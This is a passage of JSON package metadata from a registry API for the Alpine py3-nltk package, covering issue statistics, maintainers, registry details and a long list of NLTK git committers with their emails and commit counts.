,"forks_count":0.827888883347464,"docker_downloads_count":null,"average":0.5386265024188319},"purl":"pkg:apk/alpine/py3-nltk?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-nltk/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":231,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2023-05-23T07:17:54.905Z","updated_at":"2023-05-23T07:17:54.905Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":3640,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1185},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-06-10T05:19:44.026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}}],"commits":{"id":3419,"full_name":"nltk/nltk","default_branch":"develop","total_commits":13579,"total_committers":490,"total_bot_commits":4,"total_bot_committers":2,"mean_commits":27.712244897959184,"dds":0.6932763826496797,"past_year_total_commits":265,"past_year_total_committers":21,"past_year_total_bot_commits":3,"past_year_total_bot_committers":1,"past_year_mean_commits":12.619047619047619,"past_year_dds":0.6339622641509435,"last_synced_at":"2026-04-19T00:40:01.362Z","last_synced_commit":"98c3fa632529e12b5c9db3c85050620dab23a5f1","created_at":"2023-03-07T09:17:43.154Z","updated_at":"2026-04-19T00:30:33.849Z","committers":[{"name":"Steven Bird","email":"stevenbird1@gmail.com","login":"stevenbird","count":4165},{"name":"Edward Loper","email":"edloper@ldc.upenn.edu","login":null,"count":2188},{"name":"Ewan Klein","email":"ewan.klein@gmail.com","login":null,"count":1477},{"name":"alvations","email":"alvations@gmail.com","login":"alvations","count":789},{"name":"Dan Garrette","email":"dhgarrette@gmail.com","login":"dhgarrette","count":357},{"name":"Mikhail Korobov","email":"kmike84@gmail.com","login":"kmike","count":276},{"name":"Pierpaolo Pantone","email":"24alsecondo@gmail.com","login":"fievelk","count":257},{"name":"Eric Kafe","email":"kafe.eric@gmail.com","login":"ekaf","count":208},{"name":"Steven Xu","email":"","login":null,"count":193},{"name":"Ilia Kurenkov","email":"ilia.kurenkov@gmail.com","login":"iliakur","count":178},{"name":"Tom Aarsen","email":"Cubiegamedev@gmail.com","login":"tomaarsen","count":175},{"name":"Will Roberts","email":"will.roberts@rz.hu-berlin.de","login":null,"count":154},{"name":"Peter Ljunglöf","email":"peter.ljunglof@heatherleaf.se","login":"heatherleaf","count":106},{"name":"Paul Bone","email":"pbone@csse.unimelb.edu.au","login":null,"count":94},{"name":"Sumukh Ghodke","email":"sumukh.ghodke@gmail.com","login":"sparcs","count":91},{"name":"Dmitrijs Milajevs","email":"dimazest@gmail.com","login":"dimazest","count":91},{"name":"hoontw","email":"hoon.tw@gmail.com","login":"hoontw","count":80},{"name":"Joel Nothman","email":"jnothman@student.usyd.edu.au","login":"jnothman","count":79},{"name":"Joseph Frazee","email":"joseph.frazee@gmail.com","login":"jfrazee","count":72},{"name":"nschneid","email":"neatnate+git@gmail.com","login":"nschneid","count":72},{"name":"Marcus Uneson","email":"marcus.uneson@gmail.com","login":"muneson","count":69},{"name":"purificant","email":"purificant","login":"purificant","count":66},{"name":"Mike Recachinas","email":"mgr3yp@virginia.edu","login":null,"count":65},{"name":"Haejoong Lee","email":"haejoong@ldc.upenn.edu","login":null,"count":65},{"name":"Trevor Cohn","email":"tacohn@cs.mu.oz.au","login":null,"count":64},{"name":"xim","email":"xim-git@akuma.no","login":"xim","count":63},{"name":"lrnzcig","email":"lrnzcig@gmail.com","login":"lrnzcig","count":62},{"name":"Long Duong","email":"longdt219@gmail.com","login":"longdt219","count":59},{"name":"Rob Speer","email":"rspeer@mit.edu","login":null,"count":56},{"name":"Greg Aumann","email":"greg.aumann@gmail.com","login":null,"count":53},{"name":"Stuart Robinson","email":"stuart.robinson@mpi.nl","login":null,"count":49},{"name":"Naoya Kanai","email":"naopon@gmail.com","login":"naoyak","count":44},{"name":"Rob Malouf","email":"rmalouf@mail.sdsu.edu","login":"rmalouf","count":39},{"name":"Tiago Tresoldi","email":"tresoldi@gmail.com","login":"tresoldi","count":36},{"name":"hyperps","email":"psarvesh129@gmail.com","login":"HyperPS","count":35},{"name":"David Ormiston Smith","email":"daosmith@csse.unimelb.edu.au","login":null,"count":35},{"name":"Lars Buitinck","email":"L.J.Buitinck@uva.nl","login":"larsmans","count":34},{"name":"Bjørn Arild Mæland","email":"bjorn.maeland@gmail.com","login":"bmaland","count":33},{"name":"Ewan Klein","email":"ewan@inf.ed.ac.uk","login":null,"count":33},{"name":"Alex Rudnick","email":"alex.rudnick@gmail.com","login":"alexrudnick","count":31},{"name":"Baden Hughes","email":"badenh@cs.mu.oz.au","login":null,"count":25},{"name":"Danny Sepler","email":"dannysepler@gmail.com","login":"dannysepler","count":25},{"name":"David Doukhan","email":"david.doukhan@gmail.com","login":"DavidDoukhan","count":24},{"name":"Pyfisch","email":"pyfisch@posteo.org","login":"pyfisch","count":21},{"name":"Ewan Klein","email":"ewan@raw-text.io","login":"ewan-klein","count":21},{"name":"Denali Molitor","email":"dmolitor@ucla.edu","login":"dmmolitor","count":21},{"name":"Meng Xinfan","email":"mxf3306@gmail.com","login":"fannix","count":18},{"name":"Ofer Helman","email":"helmanofer@gmail.com","login":"helmanofer","count":18},{"name":"Jordan L Boyd-Graber","email":"jordanbg@gmail.com","login":"ezubaric","count":17},{"name":"hannah","email":"story645@gmail.com","login":"story645","count":17},{"name":"Petro Verkhogliad","email":"vpetro@gmail.com","login":"vpetro","count":16},{"name":"Chuck Wooters","email":"wooters@icsi.berkeley.edu","login":"wooters","count":15},{"name":"Joshua Ritterman","email":"validus@gmail.com","login":"validus77","count":15},{"name":"Avital Pekker","email":"avital.pekker@utoronto.ca","login":null,"count":15},{"name":"bobobo1618","email":"bobobo1618@gmail.com","login":null,"count":15},{"name":"Dougal Graham","email":"dougalg@gmail.com","login":"dougalg","count":14},{"name":"Nitin Madnani","email":"nmadnani@umiacs.umd.edu","login":null,"count":13},{"name":"Tom Lippincott","email":"tom@cs.columbia.edu","login":"TomLippincott","count":13},{"name":"Jaehoon Hwang","email":"jaehoon217@gmail.com","login":"jaehoonhwang","count":13},{"name":"53X","email":"mirage_1997@mail.ru","login":"53X","count":13},{"name":"Ales Tamchyna","email":"ales.tamchyna@memsource.com","login":"ales-t","count":12},{"name":"Emily Voss","email":"github@emilyvoss.dev","login":"PastelStorm","count":12},{"name":"Alessandro Presta","email":"alessandro.presta@gmail.com","login":"apresta","count":11},{"name":"chintan.sh","email":"chintan.sh@media.net","login":null,"count":11},{"name":"tsolakghukasyan","email":"tsggukasyan@edu.hse.ru","login":null,"count":11},{"name":"smithct2","email":"christopher.t.smith@leidos.com","login":"smithct2","count":11},{"name":"Mark Amery","email":"markamery@btinternet.com","login":"ExplodingCabbage","count":11},{"name":"Will Monroe","email":"wmonroe4@stanford.edu","login":"futurulus","count":11},{"name":"Christopher Hench","email":"chris.l.hench@gmail.com","login":"henchc","count":11},{"name":"Michael Wayne Goodman","email":"goodman.m.w@gmail.com","login":"goodmami","count":10},{"name":"Dom","email":"97384583+tosemml","login":"tosemml","count":10},{"name":"Helder","email":"he7d3r@gmail.com","login":"he7d3r","count":10},{"name":"Jussi Salmela","email":"jussi.salmela@pp3.inet.fi","login":null,"count":10},{"name":"Steven Bethard","email":"steven.bethard@colorado.edu","login":null,"count":10},{"name":"iulhaq","email":"ikram.ul_haq@nokia.com","login":null,"count":10},{"name":"jacksonllee","email":"jacksonlunlee@gmail.com","login":"jacksonllee","count":10},{"name":"Salim Zayats","email":"szayats@seas.upenn.edu","login":null,"count":9},{"name":"David Kamholz","email":"lautgesetz@gmail.com","login":"kamholz","count":9},{"name":"Thomas Stieglmaier","email":"thomas@stieglmaier.me","login":"stieglma","count":9},{"name":"itsmemala","email":"itsmemala","login":"itsmemala","count":9},{"name":"Zing","email":"zicheng.xu@columbia.edu","login":"xu2333","count":9},{"name":"Dan Blanchard","email":"dan.blanchard@gmail.com","login":"dan-blanchard","count":8},{"name":"Björn Mattsson","email":"bamattsson@gmail.com","login":"bamattsson","count":8},{"name":"Artiem K","email":"artiemq@gmail.com","login":"artiemq","count":8},{"name":"Jason Baldridge","email":"jasonbaldridge@gmail.com","login":"jasonbaldridge","count":8},{"name":"Konstantin Chernyshev","email":"k4black@ya.ru","login":"k4black","count":8},{"name":"Shivansh Sharma","email":"157245723+Shivansh-Game","login":"Shivansh-Game","count":8},{"name":"alexandredias3d","email":"alexandrehtdias@gmail.com","login":"alexandredias3d","count":8},{"name":"John Stewart","email":"cane.cubo@gmail.com","login":"free-variation","count":8},{"name":"Leonie Weissweiler","email":"30300891+LeonieWeissweiler","login":"LeonieWeissweiler","count":8},{"name":"Pierre-Francois Laquerre","email":"pierre.francois@gmail.com","login":"pflaquerre","count":8},{"name":"mohaned mashaly","email":"30902228+12mohaned","login":"12mohaned","count":8},{"name":"Matan Rak","email":"matanrak@me.com","login":"matanrak","count":8},{"name":"PhanatosZou","email":"tongzou@uw.edu","login":"PhanatosZou","count":8},{"name":"Felipe Madrigal","email":"luis.felipe@ooyala.com","login":null,"count":8},{"name":"Tan LiLing","email":"liling.tan@rakuten.com","login":null,"count":8},{"name":"xprogramer","email":"k.abainia@gmail.com","login":"xprogramer","count":7},{"name":"tylerhartley","email":"tyleha@gmail.com","login":"tyleha","count":7},{"name":"jhelie","email":"jean.helie@gmail.com","login":"jhelie","count":7},{"name":"Pratap Vardhan","email":"pratapgr8@gmail.com","login":"pratapvardhan","count":7},{"name":"Jason Narad","email":"jason.narad@gmail.com","login":"narad","count":7},{"name":"Brandon Craig Rhodes","email":"brandon.craig.rhodes@gmail.com","login":"burner-craig","count":7},{"name":"Gerhard Kremer","email":"gerhard.kremer@ims.uni-stuttgart.de","login":null,"count":7},{"name":"alex.constantin","email":"alex.constantin@epfl.ch","login":null,"count":7},{"name":"tarkvara","email":"tarkvara@cecc2e07-884d-4792-bf9a-bd4c00df462f","login":null,"count":7},{"name":"Philippe Ombredanne","email":"pombredanne@nexb.com","login":"pombredanne","count":6},{"name":"Saimadhav Heblikar","email":"saimadhavheblikar@gmail.com","login":"sahutd","count":6},{"name":"Ethan.Hill","email":"ehill@us.ibm.com","login":null,"count":6},{"name":"Tan","email":"liling.tan@ASRHQ289.local","login":null,"count":6},{"name":"Adam Nelson","email":"adam@factr.com","login":null,"count":6},{"name":"Stefano Lattarini","email":"stefano.lattarini@gmail.com","login":"slattarini","count":6},{"name":"Ondrej Platek","email":"ondrej.platek@seznam.cz","login":"oplatek","count":6},{"name":"Jacob Perkins","email":"japerk@gmail.com","login":"japerk","count":6},{"name":"Iris Zhou","email":"iriszhoux@gmail.com","login":"irisxzhou","count":6},{"name":"Frankie Robertson","email":"frankie@robertson.name","login":"frankier","count":6},{"name":"David Ross Coles","email":"coles.david@gmail.com","login":"dcoles","count":6},{"name":"Björn Ebbinghaus","email":"bjoern@ebbinghaus.me","login":"MrEbbinghaus","count":6},{"name":"Albert","email":"albertauyeung@gmail.com","login":"albertauyeung","count":6},{"name":"Geoff Bacon","email":"geoffbacon","login":"geoffbacon","count":6},{"name":"Nitin Madnani","email":"nmadnani@gmail.com","login":"desilinguist","count":6},{"name":"Álvaro Justen (@turicas)","email":"alvarojusten@gmail.com","login":"turicas","count":6},{"name":"drevicko","email":"drevicko","login":"drevicko","count":6},{"name":"anlandu","email":"adu47249@gmail.com","login":"anlandu","count":6},{"name":"Ram Rachum","email":"ram@rachum.com","login":"cool-RR","count":5},{"name":"Rami Al-Rfou","email":"rmyeid@gmail.com","login":"aboSamoor","count":5},{"name":"Francis Bond","email":"bond@ieee.org","login":"fcbond","count":5},{"name":"Devashish Lal","email":"laldevashish@gmail.com","login":"BLaZeKiLL","count":5},{"name":"George Berry","email":"geb97@cornell.edu","login":"georgeberry","count":5},{"name":"Herve Nicol","email":"herve.nicol@gmail.com","login":"hervenicol","count":5},{"name":"watercrossing","email":"ingolf.becker@googlemail.com","login":"watercrossing","count":5},{"name":"kmario","email":"marimuthuk@live.com","login":"kmario23","count":5},{"name":"kiwipi","email":"kiwidchx@live.cn","login":"kiwi4py","count":5},{"name":"corynezin","email":"cory.nezin@gmail.com","login":"corynezin","count":5},{"name":"Tom Aarsen","email":"37621491+CubieDev","login":"CubieDev","count":5},{"name":"tanin-air","email":"tanin47@yahoo.com","login":null,"count":5},{"name":"Santiago Castro","email":"bryant@montevideo.com.uy","login":"bryant1410","count":5},{"name":"Laspimon","email":"casperlehmann@gmail.com","login":"casperlehmann","count":5},{"name":"Michael Higgins","email":"55243596+Higgs32584","login":"Higgs32584","count":5},{"name":"Osman Zubair","email":"osmanzubair658@gmail.com","login":"okz12","count":5},{"name":"Clark Grubb","email":"clarkgrubb@gmail.com","login":"clarkgrubb","count":4},{"name":"jw2013","email":"zhew1991@gmail.com","login":"DefiPanda","count":4},{"name":"afshin sadeghi","email":"sadeghi.afshin@gmail.com","login":"afshinsadeghi","count":4},{"name":"annagarbar","email":"anna.garbar@gmail.com","login":"AnnaGarbar","count":4},{"name":"asrelo","email":"syrslava@yandex.ru","login":"asrelo","count":4},{"name":"lmatt","email":"lmatt123n@gmail.com","login":"lmatt-bit","count":4},{"name":"srhrshr","email":"sreeharsharamesh@gmail.com","login":"srhrshr","count":4},{"name":"uday krishna","email":"udaykrishna5@gmail.com","login":"udaykrishna","count":4},{"name":"MrMarvel [S30]","email":"24212110+MrMarvel","login":"MrMarvel","count":4},{"name":"Steven Bethard","email":"steven.bethard@gmail.com","login":"bethard","count":4},{"name":"Angelos Katharopoulos","email":"katharas@gmail.com","login":"angeloskath","count":4},{"name":"Dávid","email":"david@cliqz.com","login":"david-cliqz","count":4},{"name":"James R Curran","email":"james@it.usyd.edu.au","login":"jamesrcurran","count":4},{"name":"LBenzahia","email":"lakhdar.benzahia@gmail.com","login":"greenat92","count":4},{"name":"Peter de Blanc","email":"peter@spaceandgames.com","login":"pdeblanc","count":4},{"name":"Quentin Pradet","email":"quentin.pradet@gmail.com","login":"pquentin","count":4},{"name":"Maciej Pastuszka","email":"mmpastuszka@gmail.com","login":null,"count":4},{"name":"wardbradt","email":"bbradt@andover.edu","login":null,"count":4},{"name":"hdlim15","email":"hdl39@cornell.edu","login":null,"count":4},{"name":"Christian Clauss","email":"cclauss@me.com","login":"cclauss","count":3},{"name":"Christian M. Meyer","email":"chmeyer.de@gmail.com","login":"chmeyer","count":3},{"name":"David McClosky","email":"dmcc@bigasterisk.com","login":"dmcc","count":3},{"name":"Dmitry Sadovnychyi","email":"git@dmit.ro","login":"sadovnychyi","count":3},{"name":"Elijah Rippeth","email":"elijah.rippeth@gmail.com","login":"erip","count":3},{"name":"Kevin Brown","email":"kevin@kevin-brown.com","login":"kevin-brown","count":3},{"name":"Liechti","email":"jeffreyliechti@gmail.com","login":"Liechti","count":3},{"name":"Marius","email":"marius.mather@sydney.edu.au","login":"marius-mather","count":3},{"name":"Lauri Hallila","email":"laurihallila@gmail.com","login":"lade","count":3},{"name":"Ondrej Cifka","email":"ondra@cifka.com","login":"cifkao","count":3},{"name":"Petra Barancikova","email":"barp@centrum.cz","login":"barancik","count":3},{"name":"Pulkit Maloo","email":"maloo.pulkit@gmail.com","login":"pulkitmaloo","count":3},{"name":"Safwan Kamarrudin","email":"shaihulud@alumni.cmu.edu","login":"safwank","count":3},{"name":"Smitha Milli","email":"smitha.milli@gmail.com","login":"smilli","count":3},{"name":"Andrey Salamatin","email":"Schnitzel87@gmail.com","login":"salamatin","count":3},{"name":"Dimitri Papadopoulos","email":"3234522+DimitriPapadopoulos","login":"DimitriPapadopoulos","count":3},{"name":"何震震","email":"936432896@qq.com","login":"bjut-hz","count":3},{"name":"sbagan","email":"pnlbagan@gmail.com","login":"sbagan","count":3},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":3},{"name":"Yibin Lin","email":"lyyb46@gmail.com","login":"yibinlin","count":3},{"name":"Vivek Kalyan","email":"hello@vivekkalyan.com","login":"vivekkalyan","count":3},{"name":"Vilhjalmur Thorsteinsson","email":"vt@extrada.com","login":"vthorsteinsson","count":3},{"name":"Oleg Chislov","email":"e5pecial@yandex.ru","login":null,"count":3},{"name":"Mark Amery","email":"mark@markLaptop.default","login":null,"count":3},{"name":"Mike Recachinas","email":"michael.recachinas@axiosengineering.com","login":null,"count":3},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-6.tpgi.com.au","login":null,"count":3},{"name":"Leon Derczynski","email":"leon@dcs.shef.ac.uk","login":null,"count":3},{"name":"Lance Nathan","email":"lnathan@lumino.so","login":null,"count":3},{"name":"Henry-E","email":"henry.elder@adaptcentre.ie","login":null,"count":3},{"name":"Adrian Ellis","email":"44853252+adrianjellis","login":"adrianjellis","count":3},{"name":"Arvind Chembarpu","email":"achembarpu@gmail.com","login":"achembarpu","count":3},{"name":"Brandon M. Burroughs","email":"brandonmburroughs@gmail.com","login":"brandonmburroughs","count":3},{"name":"Alexander Böhm [jwacalex]","email":"boehm@computer.org","login":"jwacalex","count":2},{"name":"Fabian Howard","email":"fabian@fabianhoward.com","login":"fabianhoward","count":2},{"name":"Graham Christensen","email":"graham@grahamc.com","login":"grahamc","count":2},{"name":"Aliia","email":"26248907+aliiae","login":"aliiae","count":2},{"name":"Arthur Darcet","email":"arthur.darcet@m4x.org","login":"arthurdarcet","count":2},{"name":"BLKSerene","email":"blkserene@gmail.com","login":"BLKSerene","count":2},{"name":"Louis Yang","email":"18520676+louis925","login":"louis925","count":2},{"name":"Heguang Miao","email":"hikuimiao@gmail.com","login":"hikui","count":2},{"name":"Heran Lin","email":"linhr10@gmail.com","login":"linhr","count":2},{"name":"Jason Liu","email":"generalpoxter@gmail.com","login":"GeneralPoxter","count":2},{"name":"Jelle Zijlstra","email":"jelle.zijlstra@gmail.com","login":"JelleZijlstra","count":2},{"name":"Jihun Choi","email":"jhchoi@europa.snu.ac.kr","login":"jihunchoi","count":2},{"name":"Justin Hammar","email":"justin.hammar@gmail.com","login":"justinhammar","count":2},{"name":"Tim Leslie","email":"tim.leslie@gmail.com","login":"timleslie","count":2},{"name":"Nick Johnson","email":"arachnid@notdot.net","login":"Arachnid","count":2},{"name":"Nat Quayle Nelson","email":"natquaylenelson@gmail.com","login":"NQNStudios","count":2},{"name":"Miquel Torres","email":"miquel.torres@edelight.de","login":"tobami","count":2},{"name":"Marcus Huderle","email":"huderlem@gmail.com","login":"huderlem","count":2},{"name":"Maciej Gawinecki","email":"mgawinecki@gmail.com","login":"dzieciou","count":2},{"name":"kabayan55","email":"g1120513@is.ocha.ac.jp","login":null,"count":2},{"name":"Vincent Peth","email":"vincent.peth@free.fr","login":null,"count":2},{"name":"ducki13","email":"ducki13@gmail.com","login":null,"count":2},{"name":"Piotr Kasprzyk","email":"piotr.kasprzyk@codilime.com","login":null,"count":2},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-7.tpgi.com.au","login":null,"count":2},{"name":"Maciej Pastuszka","email":"maciek@computerenglish.pl","login":null,"count":2},{"name":"Mark Amery","email":"mark@krzana.com","login":null,"count":2},{"name":"Josiah Wang","email":"j.k.wang@sheffield.ac.uk","login":null,"count":2},{"name":"Duncan McGreggor","email":"duncan@dreamhost.com","login":null,"count":2},{"name":"Andrew Giel","email":"agiel@hearsaycorp.com","login":null,"count":2},{"name":"Arthur Tilley","email":"aetilley@Arthurs-MacBook-Pro.local","login":null,"count":2},{"name":"Christian Federmann","email":"cfedermann@dfki.de","login":null,"count":2},{"name":"Dag Høidahl","email":"dag@onliveresearch.no","login":null,"count":2},{"name":"David Lukes","email":"dafydd.lukes@gmail.com","login":"dlukes","count":2},{"name":"Coykto","email":"Coykto@gmail.com","login":"Coykto","count":2},{"name":"Campion Fellin","email":"campionfellin@gmail.com","login":"campionfellin","count":2},{"name":"BrucePHill","email":"bruce_hill@live.com","login":"BrucePHill","count":2},{"name":"Brad Solomon","email":"bsolomon@protonmail.com","login":"bsolomon1124","count":2},{"name":"isnowfy","email":"isnowfy@gmail.com","login":"isnowfy","count":2},{"name":"ihitamandal","email":"55301490+ihitamandal","login":"ihitamandal","count":2},{"name":"hyperps","email":"sarvesharmy6809@gmail.com","login":"hyperps1","count":2},{"name":"fernandocar86","email":"fernandocarranza86@gmail.com","login":"fernandocar86","count":2},{"name":"anati_just","email":"anati_just@yahoo.com","login":"anati89","count":2},{"name":"Viresh Gupta","email":"viresh16118@iiitd.ac.in","login":"virresh","count":2},{"name":"Tom Strange","email":"tpstrange@gmail.com","login":"strangetom","count":2},{"name":"Vassilis Palassopoulos","email":"palasso@gmail.com","login":"palasso","count":2},{"name":"Yuta Nakamura","email":"51123494+yutanakamura-tky","login":"yutanakamura-tky","count":2},{"name":"Nicolas","email":"nicolas.darr96@gmail.com","login":"ndarr","count":2},{"name":"Marius","email":"elespike@lab26.net","login":"elespike","count":2},{"name":"ylwango613","email":"1217816127@qq.com","login":"ylwango613","count":2},{"name":"unknown","email":"timsopost@web.de","login":"TiMauzi","count":2},{"name":"snrore","email":"35712574+snrore","login":"snrore","count":2},{"name":"ryanamannion","email":"ram321@georgetown.edu","login":"ryanamannion","count":2},{"name":"redsk","email":"nicola.bova@gmail.com","login":"redsk","count":2},{"name":"maurice","email":"maurice@walny.de","login":"mauricesvp","count":2},{"name":"martinkondra","email":"martin@quark.ai","login":"martinkondra","count":2},{"name":"Tony Zale","email":"tonyzale@gmail.com","login":"tonyzale","count":2},{"name":"Alexis Dimitriadis","email":"alexis.dimitriadis@gmail.com","login":"alexisdimi","count":2},{"name":"Bonifacio de Oliveira","email":"bonifacio.segundo@gmail.com","login":"Bonifacio2","count":2},{"name":"LenRemmerswaal","email":"LenRemmerswaal","login":"LenRemmerswaal","count":2},{"name":"Le Tuan Anh","email":"tuananh.ke@gmail.com","login":"letuananh","count":2},{"name":"Karthikeyan Singaravelan","email":"tir.karthi@gmail.com","login":"tirkarthi","count":2},{"name":"KMiNT21","email":"kmint21@gmail.com","login":"KMiNT21","count":2},{"name":"Jānis Šlapiņš","email":"janis_slapins@inbox.lv","login":"janissl","count":2},{"name":"Nick Ulle","email":"nick.ulle@gmail.com","login":"nick-ulle","count":2},{"name":"Pablo Duboue","email":"pablo.duboue@gmail.com","login":"DrDub","count":2},{"name":"Philip Tzou","email":"philip.npc@gmail.com","login":"philiptzou","count":2},{"name":"Piet Delport","email":"pjdelport@gmail.com","login":"PiDelport","count":2},{"name":"Linghao Zhang","email":"linghaozh@gmail.com","login":"dnc1994","count":2},{"name":"jacobdweightman","email":"jacobdweightman@gmail.com","login":"jacobdweightman","count":2},{"name":"Akihiro YAMAZAKI","email":"697320+zakkie","login":"zakkie","count":2},{"name":"Somnath Rakshit","email":"somnath52@gmail.com","login":"somnathrakshit","count":2},{"name":"Siim Orasmaa","email":"siim.orasmaa@gmail.com","login":"soras","count":2},{"name":"Sergio Oller","email":"sergioller@gmail.com","login":"zeehio","count":2},{"name":"Sam Raker","email":"sam.raker@gmail.com","login":"swizzard","count":2},{"name":"SaintNazaire","email":"bendalferro@gmail.com","login":"SaintNazaire","count":2},{"name":"RnDevelover","email":"me@ahmetyildirim.com.tr","login":"RnDevelover","count":2},{"name":"Rico Sennrich","email":"rico.sennrich@gmx.ch","login":"rsennrich","count":2},{"name":"Prasasto Adi","email":"prasastoadi@gmail.com","login":"prasastoadi","count":2},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-3.tpgi.com.au","login":null,"count":1},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-9.tpgi.com.au","login":null,"count":1},{"name":"Mark Amery","email":"mark@markLaptop.(none)","login":null,"count":1},{"name":"MohamedAlFahim","email":"malfahim8@gmail.com","login":null,"count":1},{"name":"Peter Bronez","email":"pbronez@deepmile.com","login":null,"count":1},{"name":"Robby Horvath","email":"horvathrobby@gmail.com","login":null,"count":1},{"name":"Stephen Shaw","email":"stesh@netsoc.tcd.ie","login":null,"count":1},{"name":"Steven Bird","email":"sb@MacBook-Air-de-Steven.local","login":null,"count":1},{"name":"Stoytcho Stoytchev","email":"stoytchevms@gmail.com","login":null,"count":1},{"name":"Thomas Bird","email":"thomas.bird@leapbeyond.ai","login":null,"count":1},{"name":"Torsten Marek","email":"shlomme@gmx.net","login":null,"count":1},{"name":"Unknown","email":"cumber@cecc2e07-884d-4792-bf9a-bd4c00df462f","login":null,"count":1},{"name":"Willem Van Lint","email":"willem@vanlint.info","login":null,"count":1},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-2.tpgi.com.au","login":null,"count":1},{"name":"Long Thanh Duong","email":"HeroAthen@192-168-1-10.tpgi.com.au","login":null,"count":1},{"name":"Keith Suderman","email":"suderman@anc.org","login":null,"count":1},{"name":"Josh Owen","email":"josh@openfolio.com","login":null,"count":1},{"name":"Jayakrishna Sahit","email":"jayakrishna.sahit@iitgn.ac.in","login":null,"count":1},{"name":"Iaroslav Tymchenko","email":"iaroslav@google.com","login":null,"count":1},{"name":"Ian Schweer","email":"schweer@adobe.com","login":null,"count":1},{"name":"Farley Knight","email":"github@farleyknight.com","login":null,"count":1},{"name":"Fanjin","email":"fjzeng@ucsd.edu","login":null,"count":1},{"name":"Dean Malmgren","email":"dean.malmgren@datascopeanalytics.com","login":null,"count":1},{"name":"Bharat123Rox","email":"bharatr@symphonyai.com","login":null,"count":1},{"name":"Arthur Tilley","email":"aetilley@gmail.com","login":null,"count":1},{"name":"Anirudh","email":"anirudh.w@gramener.com","login":null,"count":1},{"name":"Andrew Owen Martin","email":"a.martin@gold.ac.uk","login":null,"count":1},{"name":"Pratap Yadav","email":"prtpydv@aol.com","login":"prtpydv","count":1},{"name":"Ramazan Polat","email":"ramazanpolat@gmail.com","login":"ramazanpolat","count":1},{"name":"Reed Loden","email":"reed@hackerone.com","login":"reedloden","count":1},{"name":"Rob Zinkov","email":"rob@zinkov.com","login":"zaxtax","count":1},{"name":"heungson","email":"heungson.lee@gmail.com","login":"heungson","count":1},{"name":"Steve Smith","email":"essandess","login":"essandess","count":1},{"name":"Stephan Hasler","email":"30526523+StephanHasler","login":"StephanHasler","count":1},{"name":"Simone Primarosa","email":"simone.primarosa@gmail.com","login":"simonepri","count":1},{"name":"Siddhesh 